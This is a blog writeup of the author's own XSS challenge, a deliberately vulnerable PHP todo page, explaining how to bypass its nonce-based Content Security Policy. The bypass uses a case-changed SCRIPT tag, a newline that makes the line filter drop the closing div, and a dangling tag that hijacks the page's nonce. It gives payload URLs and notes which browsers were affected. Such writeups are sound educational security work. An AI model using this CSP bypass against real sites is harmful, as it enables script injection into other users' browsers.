My first XSS challenge - Writeup


linkThe challenge

Two weeks ago I created my first XSS challenge. A XSS challenge is similar to a CTF challenge. Whereas CTF challenges usually consist of complete Websites without a clear goal, a XSS challenge is usually short and the goal is to execute arbitrary Javascript code.

The main obstacle of my XSS challenge consisted of bypassing the CSP.

linkSource Code

The challenge source code was public, so no hidden secrets to find. The following is a shortened version of the challenge source code:

index.php
1link<?php

2link $nonce = base64_encode(random_bytes(32));

3link header("Content-Security-Policy: default-src 'none'; script-src 'nonce-".$nonce."'"); // --> Only allow script execution with the right nonce token

4link?>

5link<html>

6link <body>

7link <?php

8link $todos = '';

9link $todos = $todos."<div> Todo #1 </div>\n"; // --> A constant TODO

10link $todos = $todos."<div> Todo #2 </div>\n"; // --> A constant TODO

11link $todos = $todos."<div> ".$_GET['todo']." </div>\n"; // --> A TODO supplied by the user over url

12link $todo_list = explode("\n", $todos);

13link foreach($todo_list as $todo) {

14link if(strpos($todo, "script") === false) { // --> Don't allow script injections in todos

15link echo $todo."\n";

16link }

17link }

18link ?>

19link

20link <script nonce="<?php echo $nonce ?>">

21link console.log("bla")

22link </script>

23link </body>

24link</html>

linkThe solution

linkBaby steps

The first thing one should notice is the possibilty to inject arbitrary html using the todo parameter:

1link$todos = $todos."<div> ".$_GET['todo']." </div>\n"; // --> arbitrary HTML injection using ?todo=own_html

People not knowing about CSP probably think they could simply provide a script element with arbitrary JS. The script tag filter if(strpos($todo, "script") === false) could easily be bypassed using SCRIPT instead of script. However, giving it a try we get the following error in the console:

index.php?todo=<SCRIPT>alert(1)</SCRIPT>
1link Refused to execute inline script because it violates ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

2link the following Content Security Policy directive~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~:~ ~

3link ~"script-src 'nonce-FHFXLGv/SdLkQ9CjBaE8s5wiMR3W1yADF+BjNZE+ZNs='"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.~ ~

4link Either the ~~~~~~~~~~~~'unsafe-inline'~~~~~~~~~~~~~~~ keyword~~~~~~~~,~ a ~~~hash~~~~ ~(~'sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~)~,~ ~

5link or a ~~~~~~nonce~~~~~ ~(~'nonce-...'~~~~~~~~~~~)~ is required to enable inline execution~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.~ ~

The only possible way to to execute arbitrary javascript is to add a nonce attribute to the script tag that is the same as the one defined in the CSP header. As the nonce is randomly generated on each page refresh, it is impossible to set it in advance.

linkGetting the nonce

So the big question is: how can we add a script tag with a valid nonce before we know the nonce? Most common techniques are:

However, all of these were not possible on my challenge. default-src was set to none, making nonce exfiltration pretty much impossible. Page caching was disabled and there was no script tag with a relative url, that could have been abused by the base tag.

The main idea was to somehow reuse the same nonce that is already used by the included script. Let's see what would happen if we open a script tag without closing it in front of another script tag:

1link <script <script nonce="randomlyGeneratedNonce">

2link console.log("bla")

3link</script>

Interestingly, the original <script is now considered to be an attribute of our newly injected open script tag. Even better, we can inject our own attributes inside the script tag that has the correct nonce:

1link <script id="yolo" <script nonce="randomlyGeneratedNonce">

2link console.log("bla")

3link</script>

The next big question is, what happens if we provide a src attribute. Will it execute the script provided in the src attribute or will it run, as before, the content (console.log) of the <script> element? Let's try it out in Firefox:

1link <script src="data:,alert(1)" <script nonce="randomlyGeneratedNonce"> /* --> src could also be a URL to a js file and it would also work */

2link console.log("bla")

3link</script>

This HTML snippet will actually result in an alert popping up and showing nothing in the console. So srchas a higher priority than the actual script element content.

Perfect, let's try to pop an alert with my challenge:

1linkhttps://not.lu/challenge?todo=%3cSCRIPT%20src=data:,alert(1)

But nothing happens. Let's inspect the DOM tree:

1link<SCRIPT src="data:,alert(1)" </div>

2link <script nonce="I7ZgzXJRSbrjz5vwVlPSEOGzDxBZVOjPOVJ6WQJkoWU=">

3link console.log("test")

4link</script>

The problem is, the todo we add is encapsulated inside a div element:

1link$todos = $todos."<div> ".$_GET['todo']." </div>\n";

and the > of the ending div tag is closing our script tag before the nonce is reached.

However I sneaked a way inside the challenge to remove the ending div tag. Do you remember the filter that removes the script tags? It not only removes the script tag but the whole line in which the script tag is inside:

1linkforeach($todo_list as $todo) {

2link if(strpos($todo, "script") === false) { // --> If "script" is contained inside the line, don't echo the whole line.

3link echo $todo."\n";

4link }

5link}

by providing a todo with the following content: <SCRIPT src="data:,alert(1)" \n script, we can remove the unwanted closing div tag:

1link<SCRIPT src="data:,alert(1)"

2link script </div> // --> This line will be removed as it contains "script"

3link <script nonce="I7ZgzXJRSbrjz5vwVlPSEOGzDxBZVOjPOVJ6WQJkoWU=">

4link console.log("test")

5link</script>

linkThe final solution

Doesn't work in Chrome:

1linkhttps://not.lu/challenge?todo=%3cSCRIPT%20src=data:,alert(1)%0ascript

linkWhy it doesn't work in Chrome / CSP v3

At first I was very confused why it wasn't working in Chrome. Chrome was throwing an error that the nonce was incorrect. However, the nonce attribute was set and was correct.(console.log(script.nonce) was the same as the nonce set in the CSP header).

It was @SecurityMB who pointed me to the following CSP v3 spec: Nonceable Algorithm. The problem of abusing an already existing script tag's nonce is apprently known and this new spec prevents the mechanic . It does this by chechking for the strings <script or <style inside a script element's attribute names and values. If it is present it renders the nonce invalid.

Firefox and Safari don't implement this spec yet. Therefore, this mechanic could still be abused in my challenge.

The challengeSource CodeThe solutionBaby stepsGetting the nonceThe final solutionWhy it doesn't work in Chrome / CSP v3

Home Own XSS Challenge Writeup Hack.lu 2020 CTF - Litter Box - Writeup